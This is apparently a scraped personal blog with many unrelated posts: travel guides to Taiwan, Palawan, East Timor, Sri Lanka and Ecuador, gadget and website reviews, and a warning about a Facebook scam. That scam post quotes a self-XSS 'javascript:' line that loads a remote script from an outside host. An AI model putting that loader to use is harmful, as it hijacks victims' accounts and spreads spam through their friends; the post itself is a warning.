Travel: Taiwan

TAIWAN IN BRIEF

     Taiwan, formerly known as Formosa and officially known as Republic of China, is sovereign state in South East Asia. It is a neighboring country of the Philippines, located just north of Luzon. This island country is about 180 kilometers from the southern coast of mainland China. Terrain is consisting of some flat plains and mostly rugged mountain ranges. Climate is tropical, experiencing a rainy season and hot humid weather. Typhoons are also common between July and October. Currency of Taiwan is the New Taiwan Dollar (TWD ), approximately 31.73TWD/1USD at the time of this writing. Timezone is National Standard Time (UTC+8).

HOW TO GET THERE

     There are four major international airports that serves as the gateway to Taiwan by plane. You may select any of these four depending on your place of origin and the intended place to visit in Taiwan.

Taiwan Taoyuan International Airport (IATA: TPE, ICAO: RCTP)
Location: 25° 4′ 35″ N, 121° 13′ 26″ E

     This airport is formerly known as Chiang Kai-shek International Airport but it was changed to its current name September of 2006. This airport is one of the two airports that serves the capital city Taipei and the northern part of Taiwan. Taoyuan International Airport serves the vast majority of  international flights out of Taipei area. This is the main international hub for China Airlines and EVA Air.

Taipei Songshan Airport (IATA: TSA, ICAO: RCSS)
Location: 25° 04′ 10″ N, 121° 33′ 06″ E

    This airport has a combined military and commercial purposes. Military section is known as the Songshan Air Force Base. The section for commercial purposes is officially known as Taipei International Airport. It has flights to South Korea, Japan as well as China.

Taichung Airport (IATA: RMQ ICAO: RCMQ)
Location: 24° 15′ 52.80″ N, 120° 37′ 14.09 ″E

     Another airport serving commercial and military airport, this one is located in Taichung. Serving the middle part of Taiwan, it has scheduled flights to Hanoi, Ho Chi Minh, Hongkong and Macau. Charter services to Palau, Japan, South Korea and Thailand are also available.

Kaohsiung International Airport (IATA: KHH, ICAO: RCKH)
Location: 22° 34′ 37″ N, 120° 21′ 00″ E

     Being located in the Siaogang District, the airport is also known as Kaohsiung Siaogang Airport. It is a commercial international airport serving the southern part of Taiwan. There are scheduled flights to and from Hongkong, Japan, Macau, South Korea and Vietnam.

WHERE TO STAY

There is a lot of hotels in Taiwan specially in Taipei area. The following hotels suggested are the hotels where I have stayed during my visit.

Le Midi Hotel
Location: 24° 57' 30" N, 121° 13' 12" E

     When I stayed on this hotel it is known as Jungli Chinatrust Hotel. They are the highest hotel in the Taoyuan area and provides nice panoramic view of the area. Amenities provided are laundry room and gym on the 28th floor and business center on the 27th floor. Rooms are spacious and clean with great internet connectivity by wifi or the provided LAN cable. 

My room in Le Midi Hotel. Extra bed for my luggge :)

Fullon Hotel Jhongli
Location: 24°  57' 16.2" N, 121° 13' 24.5" E

     Fullon Hotel sits right in the business district, even the railway station is a walking distance away. Many establishments are within an easy reach from the hotel. One downside is that because it is located in a busy area, the streets' noise can be heard on some lower rooms. As much as possible pick a room in higher floors.

Cozy ambiance in Fullon Hotel.

Travel: Coron, Palawan, Philippines

CORON IN BRIEF

     Coron is classified as a first class municipality located in Region 4B (MIMAROPA) in the province of Palawan. The municipality occupies the eastern half of Busuanga Island, all of Coron Island and approximately 50 other small islands including the Canipo Island on the southern end as well as the Tara Island in the northeast. All of these are part of the calamian archipelago in northern Palawan, also known as Calamian group of islands, that separates the west Philippine sea from the Sulu sea.

     The name of Coron town originated from Cuyonen term for earthen pot. It was named by Don Nicolas Manlavi Y Ledesma in reference to the shape of the bay fronting their first settlement in Barangay Banuang Daan. Coron has a total land area of 69,247.1460 hectares. It is subdivided into twenty three barangays, nineteen located in mainland and four in nearby islands. Being an island municipality, ships and planes are the main transportation means to and from Manila. Motorized boats, tricycles, jeepneys or trucks transports people and merchandise between barangays and neighboring towns.

View of Coron town

HOW TO GET THERE

By plane

     Coron is accessible directly from Manila or Cebu City. There are several flights daily from Manila served by AirPhil Express, Cebu Pacific and SkyJet. Cebu Pacific also serves flights from Cebu. The domestic airport serving Coron is the Busuanga airport (IATA Airport Code: USU) also known as Francisco B. Reyes airport. Travel time from Manila to Busuanga airport is approximately 45 minutes to one hour. Direct flight from Cebu is around 40 minutes. Other Cebu flights taking the Cebu-Manila-Busuanga route will take approximately one hour and 40 minutes.

Busuanga airport or Francisco B. Reyes airport. Damage brought by typhoon Haiyan (locally: Yolanda) still visible.

By Sea

     If you prefer to travel by ship to Coron from Manila or Puerto Princesa, the best option  is the 2GO Ferry  (formerly known as Superferry). 2GO Travel travels the route Manila-Coron-Puerto Princesa and vice versa twice a week. You can contact 2GO by phone +63(02)528 7000 or email info@2go.com.ph. Other options are Atienza shipping lines and San Nicolas Shipping lines. Atienza shipping lines freighter leaves every Wednesday 6PM from pier 5 in Manila to Coron and every Saturday 6PM from Coron to Manila. Contact them at telephone numbers +63(02) 986 3118 / +63(02) 536 8123 or email them at atienzashippinglines@yahoo.com.  San Nicholas shipping line freighter on the other hand, operates several times a week plying the route Manila-Coron-Manila. For more information and booking, call them at +63(02) 245 2830 or +63(02) 243 4595

WHERE TO STAY
Asia Grand View Hotel
Location: 12° 0' 7.48" N, 120° 11' 37.26" E

     Strategically located just outside of town proper, this hotel offers a tranquil place to stay. You will feel closer to nature when you stay in this hotel. The view from the restaurant and roof-deck is very beautiful. The staffs are friendly and very accommodating. The hotel have their own brackish water pool with varying depths of 2ft, 4ft, 6ft and 8ft. Twenty spacious rooms with a balcony or porch are available.

Large bed and fluffy pillows :)

View from the restaurant

Product Review: Geisha's Blade, Shinobi Ninja Sword (2nd Generation)

SPECIFICATIONS
(As stated on Geisha's Blade website)
• Blade Material: Black powder coated 1050 carbon steel (mono-steel)
• Edge: Fully sharpened
• Treatment: Hand Forged, Through Hardened, Heat Treated and Tempered, Water Quenched
• Overall Length with saya: 42 inches
• Blade Length: 27.5 inches
• Tsuka: 11.5 inches wood
• Saya: 30 inches glossy black lacquered finish
• Tsuba / Fuchi / Kashira: Zinc alloy
• Habaki / Seppa: Brass
• Tsukaito and Sageo: Black synthetic silk
• Mekugi: 2 bamboo pegs
• Samegawa: Real ray skin panels
• Nakago: Full tang
• Hamon: None

BRIEF MERCHANT BACKGROUND

     This sword is one of the many fine quality sword being sold by Geisha's Blade, an online sword shop which pioneered the selling of Japanese Style sword in the Philippines. Geisha's Blade is the only online sword shop in the country. It is based on Mandaluyong, Metro Manila but they don't have a physical shop. The humble beginnings of Geisha's Blade was rooted on the proprietors' love for Japanese tradition, arts and culture. Jaimee and Aldwin started out selling swords from their personal collection online in eBay and later on in Sulit. Then in 2008, Geisha’s Blade 芸者の刃 was officially launched.

     From then on they have been providing Filipinos with their main product, the shinkens or modern crafted katana that are meant for cutting practice. These swords are hand forged (minimal usage of machines in the process), heat treated, oil or water quenched and then polished also by hand. Non-sharpened swords for cosplay, iaijutsu and kata practice are also available.

     With the mission to educate, promote and provide Japanese style swords, its appreciation, usage and history, Geisha's Blade is committed to offer the finest quality Japanese style swords and accessories.

Aldwin and Jaimee, proprietors of Geisha's Blade                            Photo courtesy of: Geisha's Blade

USER REVIEW

Date of purchase: August 22, 2012
Price: Php 9000.00

     Being fascinated by the ninjas, I have always dreamed of having a ninja sword of my own. But in the Philippines, it is so hard to get one. The usual swords being sold in the tiangge during town fiesta or in the malls are the samurai swords or katana, popularly known as samurai (although it is a misconception: samurai are the military nobility of medieval and early-modern Japan carrying katanas or samurai sword). Also these off the shelves swords have low quality and will be very dangerous to use in practicing. Then with the help of Google search, I stumbled upon the website of Geisha's Blade. I was really awestruck by their catalog of fine looking swords. But what has attracted me most is this Shinobi Ninja sword. I immediately placed an order and after a few days of waiting in excitement, I lay my hands on my very own Ninja sword.

My own Shinobi Ninja sword from Geisha's Blade

Travel: Betano, East Timor

BETANO IN BRIEF

     Betano is a village located in the southwest of Manufahi District in East Timor. During the former times, Betano was a traditional Timorese kingdom. Local language is Tetum but most locals can understand and speak Bahasa (Indonesian language) as well as Portuguese. Only few locals understand English in Betano area so it is wise to learn a few conversational phrases or better yet bring a local colleague with you.

     Local currency being used is the United States Dollar (USD) but they have their own coins. It would be practical to break your hundreds into smaller bills while you are in the capital (Dili) to make it easier to transact while in Betano. No ATM machines are available in Betano as well as in Same, the capital of Manufahi District.

     Cellular phone communication is possible as the local provider has roaming agreements with most major cellular phone company of other countries. Because this will cost you much, it is advisable to purchase a local SIM or phone. As of this writing major player is Timor Telecom but there is two new mobile networks coming in to the market, one of which is telkomcel. Internet connection is not available also, but you can go to Timor Telecom sales center in Same where they have wifi connectivity and computer terminals that you can rent. Additionally, you can purchase a USB modem from them to get mobile connectivity. Local time is TLST (UTC +9:00).

HOW TO GET THERE

     Primary point of entry to East Timor is trough the Presidente Nicolau Lobato International Airport (IATA Airport Code: DIL). This is located in Dili, the capital of East Timor. Formerly, this airport was known as Comoro International Airport. This airport serves the following airlines: Airnorth (Darwin, Australia - Dili), Air Timor which is being operated by Silk Air (Singapore - Dili), Merpati (Jakarta, Indonesia - Dili) and Sriwijaya Air (Jakarta, Indonesi - Dili).

     From Dili it is a six to eight hours of road trip. It is about 140 kilometer of travel up and around the mountains. Travel time mostly depends on weather, road conditions and driver's ability. There is also an airstrip near Same about 24 kilometers from Betano. But there are no regular flights to this airstrip. You have to arranged chartered flight from Dili on which availability will depend also on the weather conditions.

Marker of the Dili International Airport

 

WHERE TO STAY
Beach Side Hotel, Dili
Location: 8° 31' 58.96" S, 125° 36' 55.15" E

     This hotel is about thirteen kilometers from the airport. It is located right on the beach front of Branca beach hence its name. Facilities are okay and you can always have a relaxing drink by the beach or take a swim at the warm water. They don't have wifi or wired internet connection so it's good if you have the local USB modem.

     The Christo Rei, quite similar to the one in Rio de Janeiro is just a walking distance from this hotel. It is very nice to go jogging to the statue during the morning. For more information about this hotel, visit their website here.



Room of Beach Side Hotel

Restobar

Travel: Jaffna, Sri Lanka

JAFFNA IN BRIEF

     Jaffna is the capital city of Northern Province of Sri Lanka. Amusingly, the city is located within the district of Jaffna which is located in Jaffna Peninsula. As of today, the city is 12th largest in the country. The civil war in this area has ended just in 2009 but the city is recovering so fast. Most infrastructure has already been rebuilt and continually improved by the government.

     Majority of Jaffna population are Sri Lankan Tamils thus, the common language used in the area is Tamil which is different from Sinhala used in the rest of the country. But Tamil as well as Sinhala are the official languages of Sri Lanka.

     Local currency is Sri Lankan Rupee (LKR), 1 USD is approximately equal to 127.25 LKR as of the time of this writing. The place is also tourist friendly as there are many money exchange shops and banks with ATM which accepts international cards. American Express credit card is also widely accepted, but it is advisable to take extra caution when using credit cards as some foreign scammers have been caught operating in Sri Lanka recently. Timezone is SLST (UTC +5:30).

HOW TO GET THERE

     Though there is an international airport located in Jaffna, the Jaffna International Airport (IATA Airport Code: JAF), it is not serving any international flight as of the moment. The entrypoint to the country is the Bandaranaike International Airport (IATA Airport Code: CMB). Many international airlines are operating from this airport. This airport is located about 35 km north of Colombo. 

     By March 18, a new international airport will open in Hambantota, the Mattala Rajapaksa International Airport (IATA Airport Code: HRI). This is also known as Hambantota International Airport.

WHERE TO STAY
Cinnamon Lakeside Hotel, Colombo
Location: 6° 55' 44.72" N, 79° 50' 58.28" E

     The location of the hotel which is within the central business district of Colombo is quite an advantage. Being at the side of the Beira lake also offers a fresh breeze whenever you are relaxing in the poolside. They have a lot of facilities and many different room category to choose from. For more details, visit the hotel's website.

     From Cinnamon Lakeside, the approximately 400 km travel to Jaffna by car will take about 10 hours, taking into consideration the rest stops and the speed limits. In Colombo and main towns maximum speed for cars is 50 kph and 70 kph on rural areas.

My comfortable room in Cinnamon

View from my room

Tilko Jaffna City Hotel, Jaffna
Location: 9° 39' 55.82" N, 80° 0' 38.60" E

     This hotel is located near the central business area of Jaffna. Sitting right next to the post office, the hotel is easy to find. Another advantage is that the Jaffna Fort is just a walking distance from the hotel. Rooms are spacious and they have a standby generator to give continuous power in case of utility outage which is still common to the area. Visit the hotel's website to view the room rates and preview their rooms.

The hotel's facade at night

With one of the hotel's friendly staff

PLACES TO VISIT

     There are a lot of beautiful places and beaches to visit in Jaffna, but due to time constraints I only managed to visit one. Actually, the Tilko city hotel offers a Jaffna day tour, just inquire on the hotel lobby if you want to avail of this. And also, the travel to Jaffna by car from Colombo is also a rewarding experience. We pass by the national reserve and you can also see many temples and historical monuments along the way.

A monument along the way

Travel: Quito, Ecuador

QUITO IN BRIEF

     Quito is the capital city of Ecuador and it is formerly known as San Francisco De Quito. With its location at 2800 meters above sea level, it is considered as the highest capital city in the world. Aside from being the country's capital, it is also the capital of the province of Pichincha. Despite the high altitude and being on the slope of an active stratovolcano also named Pichincha, Quito is the second most populous city of Ecuador.

     The currency being used in Quito and the whole country is United States Dollars (USD). Timezone is ECT (UTC-5). The languange being used is Spanish but most can understand English as well.

HOW TO GET THERE

     The main entry point to the country is also located in Quito as it is the capital city. But other airlines use the Guayaquil airport. Mariscal Sucre International Airport (IATA Airport Code: UIO) is the city's principal airport. It is located at a convenient driving distance of just about 10 kilometers from the city's center. A new airport outside the city limits is being built to replace this one as its current location near the high buildings makes landings quite hard at night and during foggy weather conditions.

WHERE TO STAY

Hotel Dann Carlton, Quito

Location: 0° 11' 0.92" S, 78° 28' 50.42" W

     One advantage of this hotel is that it is located in the financial and business center of the capital. The rooms are spacious and provided with the standard amenities that most hotels provide. Wifi internet, international cable television, telephone, electronic safe are available for the guests use.

     For fitness conscious guests, they also have a gym located at the Penthouse and provides a relaxing view of the city while you are working out or running on the treadmill. If you also fancy running outside, Parque La Carolina with a large track oval is just a walking distance from the hotel.

My cozy room in Dann Carlton

The view from my room. The open field is Parque La Carolina

Travel: Bangladesh

BANGLADESH IN BRIEF

     Bangladesh is officially known as People's Republic of Bangladesh and located in South Asia. It is on the Bengal region of the eastern Indian sub continent. The name of the country means "Country of Bengal" in their official language which is Bengali. Neighboring countries are Burma (Myanmar) and India.

     The currency being used by Bangladesh is Taka (BDT), approximately $0.0123 USD. Timezone is BST (UTC +6). They drive on the left side of the road and traffic jams are normal everyday sight specially if you are on the cities. Concentration of heavy traffic is noticeable in their capital city, Dhaka. It is advisable to give about 2 hours allowance for travel if you are going out for business meetings.

HOW TO GET THERE

     Main gateway to the country is Dhaka through Shahjalal International Airport although other airlines use Chittagong and Sylhet as the point of entry. Please check wikitravel's information about travelling to Bangladesh for more details.

Pictures: Old Phones

Been back from a long assignment abroad, I got a chance to have a short vacation. Back at my hometown, I  have cleaned some of my old stuffs and I have stumbled upon these old pieces of technology that once upon a time were awesome.

NEC Smart network locked mobile

Ericsson and Bosh

Nokia 5110 and Nokia 3530

A pair of Nokia 3210

Travel: Masbate, Philippines

MASBATE PROVINCE IN BRIEF

     Masbate is an island province of the Philippines that is located in the Bicol Region. It is composed  of three major islands: Masbate, Ticao and Burias. The lone city, Masbate City is located in the Masbate Island. The island of Masbate lies at the center of the Philippine archipelago between latitudes 11°43’ north and 123°09’ east and 124°5’ east. The boundaries are Ticao Pass on the north, San Bernardino Strait on the east, Visayan Sea on the south, and the Sibuyan Sea on the west.

     The general topographic feature of the province ranges from slightly undulating to rolling and from hilly to mountainous. With each island, the rugged topography is concentrated in the northeastern portion and gradually recedes to blunt hills and rolling areas in the southeast, southwest, and south.

HOW TO GET THERE

     There are so many options on how to reach masbate. You can travel by land, by sea or by air from different points of the country.

By Land

      There's a daily trip going to masbate via RORO bus which is a part of the nautical highway program of the government. The terminal of this bus is located at cubao in metro manila. The bus will  travel to Pilar, Sorsogon via national highway and then will be carried by the RORO boat from Pilar port to Masbate city port.  At the time of this writing, the fare is is just 1,050 pesos one way for aircon buses and  800pesos for one way for ordinary buses with the RORO boat fare inclusive. These RORO buses also travel out from Masbate City to other towns such as Aroroy and Mobo.

By Sea

     Just in case you don't prefer the RORO bus, you still have other option. You can also ride another bus that travels daily from Manila to Pilar, the board the RORO boat going to Masbate or better yet take the fastcraft operated by Montenegro Lines. The fastcraft is convenient and faster than the RORO boat but of course the fare is higher. Montenegro lines fastcraft schedules from Pilar to Masbate City are 8:00am, 11:30am and 3:30pm. Montenegro lines fastcraft schedules from Masbate to Pilar  are 5:00am, 8:00am and 12:00 noon. These schedules may change, please verify with Montenegro lines. Ferries also travels from Cebu City going to Masbate City port or Cataingan Port.

By Air

     This is by far the most convenient means of going to Masbate. The airport is now operational again after being closed for some time due to renovation and facility improvement. ZestAir and Air Philippines has daily flights going to Masbate City airport from Manila and vice versa. Flights schedule to Masbate and vice versa are shown below.

ATTRACTIONS

Rodeo Masbateño Festival

     This is an annual event which takes place in Masbate City which showcases the peoples natural skills in livestock handling, such as lassoing, wrestling, and riding cattle. Also included in the event are a fair featuring local products and exhibitions, livestock shows, animal health seminars and trade of cattle and horses. The event has taken place every summer since 1993 which usually opens with a lively parade of horseback riders.

     The highlight of the event is the rodeo competition itself. Both men and women dress up in cowboy outfits to perform stunts like lassoing on foot and on horseback, bull riding and whipping, the two-person carambola, livestock wrestling, casting down, load carrying, and other activities that is related to the handling of livestock. These events draw tourists from the rest of the Philippines and also from around the world as well as local expectators. Cowboys and bull riders of other nationalities also participate in the competitions.

Natural Sceneries

     Masbate is rich in natural wonders and breathtaking views of its coastline. Picture speaks a thousand words so just click view full post to take a look at the following pictures of lovely Masbate.

Talking to Machines

BACKGROUND

     Today people are fascinated by the artificial intelligence of the machines that enable them to interact with people trying to mimic as close as possible the human's reactions and providing near logical responses to conversations with them. This artificial intelligence has already been put into good use by Apple when they introduced Siri. I know most people nowadays of who or what is Siri. So let me introduce you to two more AI that will let you talk to machines, cleverbot and Evie.

CLEVERBOT
Cleverbot's homepage.

     Cleverbot is a web service which allows you to talk to a computer program. The program tries to learn from the context of the words you are giving it and provide you with a response that will seem like a you are actually chatting to a human. Unlike Siri, the service is at the time of this writing limited to conversational purposes and plain fun.

Cleverbot can even answer Filipino statements.

     The interface is very simple. Just type your statement on the textbox then hit enter or click "Think about it!". You can also make cleverbot talk for you by pressing "Think for me!. The chat stream is only visible for up to four lines so if you want to review everything you have talked about, click "Thoughts so far" to see the chat log.

A log of random chat with cleverbot.

Try cleverbot yourself:

EVIE (Electronic Virtual Interactive Entity)
Evie's homepage.

     Evie is much more like cleverbot but aside from presenting a text based response, Evie also talks. She also displays facial expressions as you type and reacts to the statements you say to her.

Just like cleverbot, she doesn't know Siri.

Evie talking to another Evie:

Find My iPod/iPhone

BACKGROUND

     Everyone has experienced it, sometime in your life you misplace your things. Sometimes it also happens that people get extra "curious" with your stuff and get hold of them. In these days of iPod and iPhone popularity most people would not like it if their gadget goes MIA. Gladly Apple has a nifty solution for this. They have a built in app inside these gadgets that will enable you to track them somehow and also remotely  perform some actions on them.

REQUIREMENTS
• iPod/iPhone runs iOS 5.0 or higher

      If not you can update your device first. Just connect your device to your Mac or PC and follow the onscreen instructions in iTunes. This update also requires that your iTunes is version 10.5 or higher. So if it's not, you need to update your iTunes first.

• iCloud turned on and properly set up

     On your iOS device, go to settings then choose iCloud. Create and set up your iCloud account. Make sure that Find My iPod/iPhone is set to on.

FEATURES
• Locate your device on a map

• Display a message on the screen
• Play a sound for two minutes at full volume (even if your device is set to silent)
• Remotely lock your device

• Remotely wipe your device to erase your personal data

• New features for iCloud users:
     Ability to find a Mac
     Option to request an email when an offline device comes online and is located
 
USER REVIEW

     I tried to locate my device by using my PC. I point my browser to iCloud.com then logged in with my iTunes account. After authentication, I clicked on the Find My iPhone icon. And there, my device appeared on a map powered by Google.

Geographic location of the device

     I would say that this location report is quite accurate to about 15 meter radius as I have tried the location tracking for many times. But this of course will depend on your location. As I am in the city with many cellsites near my location so the accuracy of the triangulation calculation is high.

     Clicking the icon on the map will show a pop up options to perform remote actions on your device. You have the choice to send a message and optionally play a sound in full volume, remotely lock the device or conduct a remote wipe. Choosing to lock will just lock your device using your current lock key. Remote wipe will restore the device to factory settings and delete all your confidential data in the process.This is useful if you have sensitive information on your device that should not fall into the hands of unauthorized person or competitor.

Actions that can be performed remotely

     I choose the option to send a message and play sound on my device. The response was immediate. The message appear on my device with the label "Important Message" and my device plays a tone that sounds like a locator beacon for two minutes. If you just choose to play a sound without a message an alert will appear on the device with the label "Find My iPod touch Alert". This play sound option will be very useful if you just misplace your device and its in silent mode so the old technique of calling it from another phone will not work. One downside is that if your device is already on the hands of someone else its very easy to stop the sound. Momentarily pressing the power button will stop the tone even without unlocking the device.

Option to send a message with sound

Message on the device

Action notification also sent to your iTunes account email

PROS:

• Ability to send message and play a sound instantaneously

• Option to wipe out device data remotely

• Email alert can be set up to inform you once the device goes online if you are not able to track it before because it is offline.

CONS:

• Location accuracy is dependent on the number of cellsites in proximity

• Sound can be stopped even without unlocking the device

Miles Cyrus Facebook Scam

BACKGROUND

     If you see your wall or your news stream on Facebook filled with so many update from friends about a so called Miles Cyrus video it means that your friends has been a victim of this new widget exploit on Facebook. Please resist the temptation to follow the link unless you want to be victimized also. I hope this will be brought to Facebook authorities' attention so that they can stop this immediately.

DETAILS

A stream of Facebook wall posts

    Seeing this stream of posts of your friends on your wall might spark your interest to follow the links. But for the exprerienced eyes (or kind of paranoid) this looks suspicious. As you can see two of them have the same caption word for word and even capitalization.

     So just to prove my doubts on this post I decided to follow the link. After clicking the link, I was redirected to a fanpage with an embedded video that I was supposed to verify that I am above 18. At this point I'm now convinced that there was something fishy with this. That is because for all I know, Facebook does not allow mature content on their site as what their Terms and Conditions states. (Yeah I bothered to read all of that).

     To see what this widget is up to, I clicked the continue button to verify that I am above 18. After clicking continue, I was given a set of instructions, It says click the address bar, type j and then press Ctrl+V. Say what? Ctrl+V? As I am quite fond of using keyboard shortcut, I am well aware that it is a shortcut for pasting something. This widget is really up to something not good. Imagine, the widget has an access to your clipboard.

     I did what I was instructed, click the address bar (that selects all that was written in there), type J (overwrites whatever address you have in there) and then press Ctrl+V (pastes something to your address bar appended to the "J"). In this case the appended text to "J" was "avascript:(a=(b=document).createElement('script')).src='http://saudau.vn/1/ro.js',b.body.appendChild(a);void(0)" So this line clearly shows that you are about to execute an offsite javascript when you press Enter which is also part of the instruction. After you follow all this instructions you will be shown a dead end page saying that there are no surveys available for your country. So this is really about surveys and not about the video. But wait, there's more. The widget has more payload in the offsite javascript. The script will also post in the walls of random people on your friends list. So it was also trying to spread itself by using the trust you have with your friends. I have accessed the JavaScript code this scam is executing and I have found out that it is using five fake myles cyrus fanpage with the same malicious content. The fanpage id of these pages are 188909304525633, 180090332077859, 234590593270237, 188127947936748 and 136489769788481. Spread the word to your friends and report this to Facebook authorities so that they can stop this malicious widget.

One of the fanpage that are linked by the wall posts

 

Instructions shown after clicking continue

  

A javascript call being inserted in the address line

The dead end page

The contents of ro.js the offsite javascript being executed

Celebrity Sightings: Vina Morales

     Posing with Vina Morales near the baggage carousel of Ninoy Aquino International Airport terminal 2.

And no... We are not Mang Inasal endorsers :)

Travel: Manolo Fortich, Bukidnon, Philippines

MANOLO FORTICH, BUKIDNON IN BRIEF

     Bukidnon is located in Northern Mindanao of the Philippines. It is a landlocked province with Malaybalay City as its capital. The airport in its capital is currently closed as of this writing so access to Bukidnon is by land travel from Cagayan De Oro City. Manolo Fortich is a first class municipality in this province.

HOW TO GET THERE

     Refer to my post on how to get to Cagayan De Oro City, then from there land travel to Manolo Fortich, Bukidnon, particularly Dahilayan Adventure Park, is about two to three hours drive from Cagayan De Oro City proper. Public transport to Dahilayan is not so easy so it is practical to rent a car to go to Dahilayan.

PLACES TO VISIT
Dahilayan Adventure Park

     Dahilayan Adventure Park is a very nice place for adventurers and nature lovers. This nature park features Asia's longest dual zipline with a length of 840 meters. The start point of this zipline is located at 4500 feet above sea level. One more thing that adds to the fun of conquering this zipline is you can have a certificate of your photo which includes your picture. If you are not comfortable with the adrenaline rush this longest zipline offers, you can also try the 320 meters plus 120 meters zipline. Other activities are also available such as horseback riding, ATV driving, ropes course, wall climbing, dropzone and winch boarding. For more information about their rates visit their official website.




My 840 meter Zipline Certificate

 


Posing with friends after the ride

 


Launch tower sign post



Bagalangit Ultimate Bivouac

     While you are in Dahilayan, its very much worth it to drop by Bagalangit Ultimate Bivouac. This place offers ultimate experience and training. They are open from thursday to monday at 8:00 am to 5:00 pm. Many activities are available such as camping, archery, tactical shooting, airsoft games, wall climbing and rapelling and team building obstacle courses. Accomodations are also available, they have van cottages and tipi huts. Their airsoft games features three scenarios namely; warpig, airbase and jungle. For more information or inquiries contact Jonathan at +639177112554, Cyrus at +639051773659 or Bebing at +639177187883/ +630888515693. See their facebook account at bivouacbagalangit@yahoo.com.



Firing 1911 .45 cal pistol at their short range



Posing with the target

 USEFUL LINKS

• Cagayan De Oro Travel Information
• Dahilayan Adventure Park Official Website

Web Feature: MMDA Trafffic Information

BACKGROUND

     The MMDA has harnessed the power of new technology in delivering real time traffic updates to the general public. It has started with twitter updates and now, in partnership with TV5 interaksyon website, MMDA launches its BETA testing TV5-MMDA traffic monitoring system. Another milestone in MMDA's mission to provide service to the FIlipino people.

USER REVIEW

     The website is satisfactory although it is still in BETA testing as stated by the tweet of MMDA's official twitter account. "MMDA [REMINDER] Please check out our beta website http://mmda.gov.ph/navigator for traffic updates #mmda".

     The traffic update is available in three views: System View, Line View and Google Map View. In system view, you can have a rough overview of the traffic situation on the entire jurisdiction of MMDA. The color coded legend shows if the area has light traffic, moderate traffic or heavy traffic. And if for some reason the site's situation is not available it will also show as such. The color coded nodes on the System View is also clickable that will show a pop up information on the location, north and south bound situation and also the time of the last update.

System View: TV5-MMDA Traffic Monitoring System

     The line view basically gives the same information but it is presented in table form. The traffic situation for northbound and southbound is also presented by the same color code and last update is also provided.

Line View: TV5-MMDA Traffic Monitoring System

     The google map view is also the same with the system view, only that it is presented as a map overlay of the google map. It is very helpful if you want to plan the fastest route to a place you want to go.

Google Map View: TV5-MMDA Traffic Monitoring System

     To the hardworking guys of TV5 and MMDA behind this new service, keep up the good work. We hope to see more updates coming soon to this website. A live "video feed on demand" for a certain location would be great.

Web Feature: Google Doodle Les Paul Guitar

BACKGROUND

     Doodles are known as the decorative changes that are made to the Google logo to celebrate holidays, anniversaries, and the lives of famous artists and scientists. Whether it is the beginning of Spring, Albert Einstein's birthday, or the 50th anniversary of understanding DNA, the doodle team never fails to find artistic ways to celebrate these unique events.

     Having a little bit of fun with the corporate logo by redesigning it from time to time is unheard of at many companies but at Google, it is a part of the brand. While the doodle is primarily a fun way for the company to recognize events and notable people, it also illustrates the creative and innovative personality of the company itself.

     Google doodle started in 1998 when Google founders Larry and Sergey played with the corporate logo to indicate their attendance at the Burning Man festival in the Nevada desert. A stick figure drawing was placed behind the 2nd "o" in the word, Google. It was intended as a comical message to Google users that the founders were “out of office.” While the first doodle was relatively simple, the idea of decorating the company logo to celebrate notable events was well received by our users.

LES PAUL GOOGLE DOODLE

     This doodle was created by google to honor the 96th birthday of Les Paul who died in 2009. Les Paul is a musician and an electric guitar pioneer, so the doodle featured the google logo in the shape of a guitar. The best part is the doodle guitar was actually playable. You can strum the strings with your mouse or use the keyboard.  The following is the keyboard map of notes:

Google Doodle: Les Paul Guitar

C = 1, Q, A or Z    

D = 2, W, S or X

E = 3, E, D or C

F = 4, R, F or V

G = 5, T, G or B

A = 6, Y, H or N

B = 7, U, J or M

C = 8, I, K or ,

D = 9, O, L or .

E = 0, P, :, or /

     The les paul guitar doodle has been a hit that google decide to give it a permanent page at google doodles. Here you can play the doodle and also make a recording of your creations and share it with your friends with a google shortened URL. As stated by Alexander Chen, a musician and designer at google creative labs, the doodle featured the recording because Les Paul also experimented in his garage with innovative recording techniques like multitracking and tape delay in addition with his guitar work.

 
Links to other interactive doodles 

• Jules Verne Doodle
• Pacman Doodle

Web Feature: Stolen Camera Finder

BACKGROUND

     The idea behind Stolen Camera Finder is that when your camera has been lost or stolen, it will eventually used to take a picture (of course..) and that picture could be uploaded somewhere on the world wide web. This site will search the web for pictures matching the serial number of the camera that you provided or by directly extracting the serial number from the exif data of your previously taken photos.

USER REVIEW

     The sites feature that generally get my attention is the very simple user interface. You will just need to drag and drop your picture and the site will automatically get the serial number from the exif data. Then they will search the web for photos with matching serial number in the exif data.



Sample Exif Details extracted by stolencamerafinder.com



     The only downside is that the drag and drop feature only works on chrome and firefox. So the IE version of the site only relies on the serial number that you will input. The fun part comes with using the site in chrome or firefox. This is because the site dont just get the serial number from the photo's exif data but gather all information within. Then the site enables you to view the exif details of that photo. For all the photography enthusiasts out there, this is quite useful if you want to see the details of certain photos to recreate the shot.

Friendster Reset

THE NEWS

     This happens to most things invented, at some time they are at their peak but time will come that something new will replace it's place. Remember the days of the casette tapes? Now they are gone. Same thing is happening to the pioneer social networking site Friendster. After its launch in 2002, Friendster has become a fad and attracted millions of user all over the world. Then suddenly Facebook came and we are all witness to the the huge transfer of users. Some did not delete their accounts at Friendster but never logged in to their account for very long time.

The official message of Friendster to its users

     Now Friendster is attempting to regain their popularity by "reinventing" itself. They now issued an announcement that the account contents such as photos, messages, comments, testimonials, shoutouts, blogs, forums and groups will be deleted on May 31, 2011. You will no longer have access to it unless you back it up by using their application Friendster exporter. This application will also give you the option to export to Flickr or Multiply. But Friendster assures that you will still have the same email login and password in the new Friendster.  Also, your list of friends will be preserved, along with your basic profile information.

WHAT WILL HAPPEN NEXT?

     As stated on Friendster help pages, "We are introducing a new and improved Friendster in the coming weeks that will be focused on entertainment and fun. There will be new features that will leverage on your online activities and will enable you to connect with friends or engage new friends with similar interests.
For example, if you are playing games or listening to music but none of your friends are, your social experience may be limited. Our improved site is designed to create new profiles that allow you to connect differently with people and do things differently than other networking sites. Basically, the new site will complement your existing online presence in other social networking sites."

     Sounds like you can also link your Friendster account to your other accounts just like Facebook did with the Facebook connect. Anyway change is good and the healthy competition will benefit the users with much more useful services.


Avoid Fraud

Avoid fraud: How to protect yourself

